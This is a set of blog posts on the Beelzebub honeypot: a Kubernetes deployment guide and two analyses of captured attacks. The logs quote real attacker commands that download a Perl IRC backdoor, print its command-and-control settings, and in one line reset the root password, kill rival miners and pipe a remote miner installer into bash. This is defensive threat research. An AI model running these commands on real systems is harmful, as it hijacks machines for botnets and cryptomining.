Forem: Mario Candela

kubernetes detect & response

Mario Candela — Sat, 05 Apr 2025 05:55:22 +0000

Mario Candela

Apr 5 '25

Securing Kubernetes Using Honeypots to Detect and Prevent Lateral Movement Attacks

#kubernetes #cybersecurity #opensource #llm

Comments 1

3 min read

Securing Kubernetes Using Honeypots to Detect and Prevent Lateral Movement Attacks

Mario Candela — Sat, 05 Apr 2025 05:53:02 +0000

The increasing complexity of Kubernetes environments presents unique security challenges, particularly regarding lateral movement attacks. Honeypots offer a strategic advantage in detecting and preventing these threats by acting as decoy systems that appear legitimate to attackers but are actually isolated and heavily monitored.

Kubernetes environments are particularly vulnerable to lateral movement due to their distributed nature, complex networking, and the potential for compromised pods, service accounts, or nodes to serve as entry points for further exploitation.

The diagram illustrates a typical lateral movement scenario in a Kubernetes environment:

Initial Access: an attacker compromises an initial pod (possibly through a vulnerable application);

Privilege Escalation: from within the compromised pod, the attacker accesses the automatically mounted Service Account token;
API Enumeration: using the token, the attacker queries the API Server to discover available resources in the cluster;
Resource Discovery: the attacker identifies Secrets and ConfigMaps that might contain sensitive information;
Secrets ex-filtration: the attacker gains access to credentials stored in Secrets;
Use of stolen credentials: with the stolen credentials, the attacker can access databases or other external services;
Cross-pod access: the attacker moves laterally to other more critical pods;
Access to critical resources: from the last compromised pod, the attacker can access internal systems of the organization;
Data ex-filtration: the culmination of the attack consists of exfiltrating sensitive data. For this reason, deploying honeypots in Kubernetes environments can be an effective strategy to detect and prevent lateral movement attacks.

If you want to learn more about Kubernetes lateral movements, I recommend the video: https://www.youtube.com/watch?v=1rmg2QfLJtY

Configure and deploy Beelzebub on kubernetes

Pre requirements:

kubectl installed and context configured https://kubernetes.io/docs/tasks/tools/install-kubectl/
helm installed https://helm.sh/docs/intro/quickstart/

Below are the commands to download, configure and deploy beelzebub.

Clone Beelzebub repository:
$ git clone https://github.com/mariocandela/beelzebub.git

You can rewrite the chart default values (https://github.com/mariocandela/beelzebub/blob/main/beelzebub-chart/values.yaml) with a custom-values.yaml

Follow example of custom-values.yaml

image:
  repository: m4r10/beelzebub
  pullPolicy: IfNotPresent
  tag: v3.0.0

beelsebubServiceConfigs: |
  apiVersion: "v1"
  protocol: "ssh"
  address: ":2222"
  description: "SSH interactive"
  commands:
    - regex: "^ls$"
      handler: "Documents Images  Desktop Downloads .m2 .kube .ssh  .docker"
    - regex: "^pwd$"
      handler: "/home/"
    - regex: "^uname -m$"
      handler: "x86_64"
    - regex: "^docker ps$"
      handler: "CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES"
    - regex: "^docker .*$"
      handler: "Error response from daemon: dial unix docker.raw.sock: connect: connection refused"
    - regex: "^uname$"
      handler: "Linux"
    - regex: "^ps$"
      handler: "  PID TTY           TIME CMD\n21642 ttys000    0:00.07 /bin/dockerd"
    - regex: "^(.+)$"
      handler: "command not found"
  serverVersion: "OpenSSH"
  serverName: "ubuntu"
  passwordRegex: "^(root|qwerty|Smoker666|123456|jenkins|minecraft|sinus|alex|postgres|Ly123456)$"
  deadlineTimeoutSeconds: 60

service:
  type: ClusterIP
  port: 2222

Deploy:

Defaults values:

$ helm install beelzebub ./beelzebub-chart

Custom values:

$ helm install beelzebub ./beelzebub-chart -f custom-values.yaml

Regarding alert and monitoring, you can use the Prometheus and Grafana stack, or fluentd to send logs to a SIEM.

Conclusion

Deploying honeypots in Kubernetes environments can be an effective strategy to detect and prevent lateral movement attacks.
Beelzebub is a honeypot framework, you can configure it to mimic the kubernetes core component like kube-apiserver, kube-controller-manager, kube-scheduler, kubelet, kube-proxy.

The Beelzebub team is dedicated to making the internet a better and safer place ❤️

https://github.com/mariocandela/beelzebub

SSH LLM Honeypot caught a real threat actor

Mario Candela — Tue, 18 Feb 2025 09:52:55 +0000

Introduction

In this article, I’ll show you how an LLM honeypot can trick a threat actor.
The threat actor, unaware of being in a honeypot, downloaded several binaries containing known exploits,
and finally attempted to execute a Perl script to connect the server to a botnet.
From the source code, I was able to retrieve useful information to access IRC channel used as a command and control server.

Honeypot configurations

The honeypot used for the analysis is Beelzebub, a low-code honeypot framework. You can configure an SSH LLM honeypot with just one configuration file. Below are the commands to download and configure it.

Clone beelzebub examples:

$ git clone https://github.com/mariocandela/beelzebub-example.git

Configure LLM SSH honeypot, just add your OpenAI key (openAISecretKey), or execute using llama.

Edit file at: configurations/services/ssh-2222.yaml

apiVersion: "v1"
protocol: "ssh"
address: ":2222"
description: "SSH LLM Honeypot"
commands:
  - regex: "^(.+)$"
    plugin: "LLMHoneypot"
serverVersion: "OpenSSH"
serverName: "ubuntu"
passwordRegex: "^(root|qwerty|Smoker666|123456|jenkins|minecraft|sinus|alex|postgres|Ly123456)$"
deadlineTimeoutSeconds: 120
plugin:
    llmModel: "gpt4-o"
    openAISecretKey: "sk-proj-1234567890"

Execute using docker:

$ docker compose up -d

Show logs:

$ docker logs --follow beelzebub

Analysis

The source IP address of the threat actor is 45.175.100.69, the user and password used are admin/123456.

Following the commands executed by the threat actor and the output by the LLM honeypot:

$ uname -a;uptime;nproc
Linux ubuntu 5.15.0-60-generic 66-Ubuntu SMP Mon Oct 10 16:30:08 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
16:22:01 up  1:24,  2 users,  load average: 0.72, 0.65, 0.70
4

$ cd /tmp

$ wget http://deep-fm.de/tmp/files/sshd
--2023-10-14 16:23:45--  http://deep-fm.de/tmp/files/sshd
Resolving deep-fm.de (deep-fm.de)... 192.0.2.1
Connecting to deep-fm.de (deep-fm.de)|192.0.2.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 85647 (84K) [application/octet-stream]
Saving to: 'sshd'

sshd                           100%[===================================================>]  83.64K  --.-KB/s    in 0.04s   

2023-10-14 16:23:45 (2.08 MB/s) - 'sshd' saved [85647/85647]

$ perl sshd
bash: ./sshd: Permission denied

$ wget http://deep-fm.de/tmp/files/emech.tar.gz
--2023-10-14 16:25:10--  http://deep-fm.de/tmp/files/emech.tar.gz
Resolving deep-fm.de (deep-fm.de)... 192.0.2.1
Connecting to deep-fm.de (deep-fm.de)|192.0.2.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 102400 (100K) [application/x-gzip]
Saving to: 'emech.tar.gz'

emech.tar.gz                     100%[===================================================>] 100.00K  --.-KB/s    in 0.03s   

2023-10-14 16:25:10 (3.11 MB/s) - 'emech.tar.gz' saved [102400/102400]

$ tar zxvf emech.tar.gz
emech/
emech/install.sh
emech/README.md
emech/bin/
emech/bin/emech
emech/lib/
emech/lib/core.so
emech/doc/
emech/doc/manual.txt

$ ls
emech  emech.tar.gz  sshd

$ ls -a
.  ..  emech  emech.tar.gz  sshd

$ tar zxvf emech.tar.gz
emech/
emech/install.sh
emech/README.md
emech/bin/
emech/bin/emech
emech/lib/
emech/lib/core.so
emech/doc/
emech/doc/manual.txt

$ ls
emech  emech.tar.gz  sshd

$ tar xvf emech.tar.gz
emech/
emech/install.sh
emech/README.md
emech/bin/
emech/bin/emech
emech/lib/
emech/lib/core.so
emech/doc/
emech/doc/manual.txt

$ rm -rf emech.tar.gz emech

$ chmod +777 sshd

$ ls
sshd

$ perl sshd
Can't open perl script "sshd": Permission denied

$ cd /var/tmp

$ wget http://deep-fm.de/tmp/files/sshd
--2023-10-14 16:23:45--  http://deep-fm.de/tmp/files/sshd
Resolving deep-fm.de (deep-fm.de)... 192.0.2.1
Connecting to deep-fm.de (deep-fm.de)|192.0.2.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 85647 (84K) [application/octet-stream]
Saving to: 'sshd'

sshd                           100%[===================================================>]  83.64K  --.-KB/s    in 0.04s   

$ chmod +x sshd

$ perl sshd
Can't open perl script "sshd": Permission denied

$ sudo su
[sudo] password for user:

$ 123456

I started analyzing the threat actor's behavior by checking the compromised site: http://deep-fm.de. The site is based on the Joomla CMS and exposes many services(old version).
The threat actor violated the system and used it as storage containing several exploits and botnet configuration scripts.

The first file downloaded by the threat actor is a perl script named sshd(http://deep-fm.de/tmp/files/sshd), the script is a backdoor that allows the threat actor to connect to the server and execute commands or DOS attacks.
The backdoor use a IRC channel as a command and control server.

From line 78 to 89 of the perl script, we can see the configuration of the IRC server and the channels used by the threat actor:

$server = 'ix1.undernet.org' unless $server;
my $port = '6667';

my $linas_max='8';
my $sleep='5';

my $homedir = "/tmp";
my $version = 'rootbox PerlBot v2.0';

my @admins = ("warlock`");
my @hostauth = ("terr0r.users.undernet.org");
my @channels = ("#rootbox", "#c0d3rs-TeaM");

I used the information to access the IRC channel #rootbox and #c0d3rs-TeaM, the following image shows the threat actor connected to the channel #rootbox and the infected server connected.

A simple way to kill a botnet is to kill the command and control server, in this case, just close/ban the IRC channels. I reported the IRC channels to the Undernet team.

Conclusion

This is the first of a series of articles about malware analysis and threat actor behavior.

The Beelzebub team is dedicated to making the internet a better and safer place.

If you want to help us with our work, please make a donation to the Beelzebub project or contribute to the code ❤️

How cybercriminals make money with cryptojacking

Mario Candela — Tue, 18 Feb 2025 09:50:18 +0000

Introduction

In this article, I’ll show you how a cybercriminal makes money with cryptojacking.
The cryptojacking, is a type of malware that uses the victim’s computer/server to mine cryptocurrency without their consent.
The malware first clears the system by removing any competitor malware, and then it uses xmrig as the miner, connecting to the c3pool mining pool for XMR mining.

Honeypot configurations

apiVersion: "v1"
protocol: "ssh"
address: ":2222"
description: "SSH LLM Honeypot"
commands:
  - regex: "^(.+)$"
    plugin: "LLMHoneypot"
serverVersion: "OpenSSH"
serverName: "ubuntu"
passwordRegex: "^(root|qwerty|Smoker666|123456|jenkins|minecraft|sinus|alex|postgres|Ly123456)$"
deadlineTimeoutSeconds: 120
plugin:
    llmModel: "gpt4-o"
    openAISecretKey: "sk-proj-1234567890"

For more information, refer to the Beelzebub documentation: https://github.com/mariocandela/beelzebub

Analysis

The source IP address of crypto jacking bot is 64.23.235.100, and the username and password used are validator/qwerty.

Below are the commands executed by the cryptojacking bot and the output from the LLM honeypot:

$ uname -s -v -n -r -m
Linux hostname 5.15.0-50-generic 56-Ubuntu SMP Tue Sep 20 16:18:39 UTC 2022 x86_6416:22:01 up  1:24,  2 users,  load average: 0.72, 0.65, 0.70
$ uptime -p
up 1 hour, 22 minutes
$ lspci | grep VGA | cut -f5- -d ' '
Intel Corporation HD Graphics 620
$ lspci | grep VGA -c
1
$ nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'
GeForce RTX 3080
$ lspci | grep \"3D controller\" | cut -f5- -d ' '
NVIDIA Corporation GM107GL [Quadro M2000]
$ nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c
1
$ nproc --all
4
$ ip r | grep -Eo '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/[0-9]{1,2}'
192.168.1.0/24
$ echo root:2glehe5t24th1issZs|chpasswd|bash; pkill kswapd0; pkill xmrig; pkill cnrig; pkill xmrig64; curl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | bash -s 4B7vD4PrcGdES1grKPBH5jbsh4SgknSzkFFRHxWMqux7bJrieQoawCiFnd36wKTPtAUXJLeQBZWKRKza7qJaQscx2kCCrZo

The bot executes a series of commands to gather system information and prepare it for cryptojacking.

Collecting system information:

Identifying the operating system and kernel: Uses uname to verify that the system is Linux, providing details about the kernel and architecture.
Checking system uptime: Uses uptime -p to see how long the system has been running.
Investigating the graphics hardware: Uses lspci and nvidia-smi to identify the installed graphics cards (both the integrated Intel HD 620 and Nvidia GPUs, such as the GeForce RTX 3080 and the Quadro M2000) and to count how many there are.
Checking computing resources: Uses nproc --all to determine the number of available CPU cores.
Analyzing the network: Uses ip r to identify the local subnet (in this case, 192.168.1.0/24).

Preparing the system for mining:

Changing the root password: The attacker attempts to set a new password for the root user using chpasswd
Terminating any existing miner processes: Executes several pkill commands to stop miner-related processes (xmrig, cnrig, xmrig64, etc.) to remove possible competitors :D
Downloading and executing the mining script: Attempts to download an installation script for the miner (xmrig) from a remote server (download.c3pool.org) and execute it, passing the XMR wallet address for mining.

Next, we analyze the script downloaded by the crypto jacking:

#!/bin/bash

VERSION=2.11

# printing greetings

echo "C3Pool mining setup script v$VERSION."
echo "警告: 请勿将此脚本使用在非法用途,如有发现在非自己所有权的服务器内使用该脚本"
echo "我们将在接到举报后,封禁违法的钱包地址,并将有关信息收集并提交给警方"
echo "(please report issues to support@c3pool.com email with full output of this script with extra \"-x\" \"bash\" option)"
echo

if [ "$(id -u)" == "0" ]; then
  echo "WARNING: Generally it is not adviced to run this script under root"
  echo "警告: 不建议在root用户下使用此脚本"
fi

# command line arguments
WALLET=$1
EMAIL=$2 # this one is optional

# checking prerequisites

if [ -z $WALLET ]; then
  echo "Script usage:"
  echo "> setup_c3pool_miner.sh <wallet address> [<your email address>]"
  echo "ERROR: Please specify your wallet address"
  exit 1
fi
.
.
.

Install xmrig ...
I removed the script content for brevity, but you can find the full script http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh.

C3pool is a mining pool for the Monero (XMR) cryptocurrency. The script is a setup script for the xmrig miner, which is a popular Monero miner. It checks for prerequisites, such as the wallet address and email, and then proceeds to install the miner.

I used the wallet address to check the mining pool and determine the amount of XMR mined by the cryptojacking.

Wow, 20 XMR paid approximately 4126$

A simple way to stop this cryptojacking is to disable the mining pool by closing or banning the public wallet address from c3pool.
I reported the wallet to the c3pool team, and they removed all the infected miners.

Conclusion

This is the second article in a series about malware analysis and counterattacks.

The Beelzebub team is dedicated to making the internet a better and safer place.

If you want to help us with our work, please make a donation to the Beelzebub project or contribute to the code ❤️